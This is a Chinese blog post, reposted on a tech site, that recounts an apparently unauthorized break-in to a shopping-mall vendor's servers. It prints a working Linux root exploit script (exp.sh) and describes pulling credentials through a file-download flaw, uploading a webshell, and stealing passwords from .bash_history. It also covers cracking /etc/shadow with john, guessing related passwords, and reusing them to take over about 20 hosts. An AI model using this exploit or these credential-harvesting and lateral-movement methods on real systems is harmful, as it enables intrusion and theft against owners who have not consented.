IT技术互动交流平台

某购物商城系统的一次渗透测试

发布日期:2013-03-07 20:25:30

文章有不少 关注本站 有时间就整理出来写写. Penetration testing只收集渗透测试代码审计、工具使用和SEO类文章.

寻找web漏洞获取webshell

一般web系统官网都会有demo之类的演示网站 这里通过扫描c段看看都存在哪些旁站

上图扫描的不全 但浏览后可以看出C段大多数IP里都是使用主站的购物商城系统 域名为xx100(数字可以变).test.net和其他自主域名 130是主站,136是webmail 环境为php+linux+apache.
本想下载源码白盒测试下寻找漏洞 但kr鸟文没见哪里有下载的 到都是收费的模板什么的. 那么通过某一demo站点寻找到了一个任意文件下载漏洞 因为看到一个file.php文件 这看文件名就清楚 容易存在下载与包含漏洞 测试后果然可以

得到数据库IP和账户密码 站库分离. telnet下数据库ip的3306端口 可以外联mysql版本4.1 那么得到后台的帐号密码 从后台寻找漏洞 通过上传截段得到一个webshell

linux提权密码通杀

查看内核版本uname -a

Linux xxoo.net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux

去1337day寻找exp提权 这里直接给出exp.sh

mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit
cat >> /tmp/payload.c <<EOF
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

提权后习惯性的w一下 然后查看/root/.bash_history | grep ssh和.mysql_history得到了ssh root的密码和mysql密码 www.it165.net

抓hash破解都省了. 之前c段扫描发现多数IP都为此系统 那么有可能都是统一管理的 root密码也有可能一样 通过nmap扫描C段开放22端口的IP进行测试

root@bt:~# nmap -sP x.x.x.1-254 -oN Desktop/sp.txt
root@bt:~# cat Desktop/sp.txt | grep for | cut -d ' ' -f5>Desktop/sp2.txt
root@bt:~# nmap -sS -p22 -iL Desktop/sp2.txt>Desktop/sp3.txt

测试结果如下如 还是有部分IP密码通杀的

从hostname可以看出 有db、mail、web、backup、ns服务器. 但是主站和其他开放22端口的IP没有测试成功.
先route或者netstat -r看看还有多少IP与之相关可以弄的

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
x.x.x.128 *                     255.255.255.128 U     0      0        0 eth0
169.254.0.0     *               255.255.0.0     U     0      0        0 eth0
default         x.x.x.129       0.0.0.0         UG    0      0        0 eth0

netmask为128 gw为129 怎么计算我这里给出个图 有时候搞内网时 存在多域多个IP段 要计算有多少台 看这省事

扩大战果

这里除了root用户之外 查看/etc/passwd发现所持服务器中都存在一个master帐号 非root权限. 这帐号有可能是管理员用户管理的 想用root时su一下 一般都这样. 我们cat /etc/shadow下载这master用户hash 使用john --i:all pass.txt进行破解. 但是这样爆破耗时 密码复杂就蛋疼了 这里通过mysql的密码和root密码进行组合猜解 密码都是有点规律的比如mysql密码为xx@数字,root密码为xxx@数字 在加上与域名组合 试了N次得到了master密码为"域名@数字".
使用master密码以及查看/root/.ssh/known_hosts尝试登录其他hosts 这里同样可以登录部分IP

以其中一台为例 从master用户目录下的.bash_history中得到一个密码

但是这个密码测试root时失败 先做个记录. 查看此台内核版本uname -a

Linux node1.test.net 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux

这个域名不同 但这内核同样可以通过前面所提供的exp.sh提权

先把root hash读取出来 用john放着破解. 在看看其他信息

搞定主站

上面通过提权得到了root hash,但是爆破与组合猜解都没能试出来. 这里可以想到是之前有从.bash_history里获取到su的root密码 那么我们试着从其他IP中即使没提权的 通过find /home/ -name .bash_history寻找这些操作记录 幸运的是从其中一台获取到了su密码 测试登录130主站成功拿下 以及其他几台IP 截图留恋.

#Tips
期间有使用su密码记录 但是last -20发现管理个把月才登一次 这里作罢. 拿到多个数据库root权限 收集了下账户密码 匹配测试也没效果 都是web的没啥大作用.

那么主站及其C段拿了差不多20台左右 因为nmap能扫到的也就20多台 这剩下的就没继续. 通过google搜索(大家可以爬爬ping IP)发现还有一个asp跟asp.net站点 使用awvs对web进行扫描 发现存在一个blind sql injection,丢到sqlmap里跑跑,过程如sqlmap注入. 这里就不在继续了写了 等下篇

转载

http://www.pentesting.cc/osmosis-kr-a-shopping-mall-systems-official-website.html

 
Tag标签: 购物商城系统   渗透测试  
  • 专题推荐

About IT165 - 广告服务 - 隐私声明 - 版权申明 - 免责条款 - 网站地图 - 网友投稿 - 联系方式
本站内容来自于互联网,仅供用于网络技术学习,学习中请遵循相关法律法规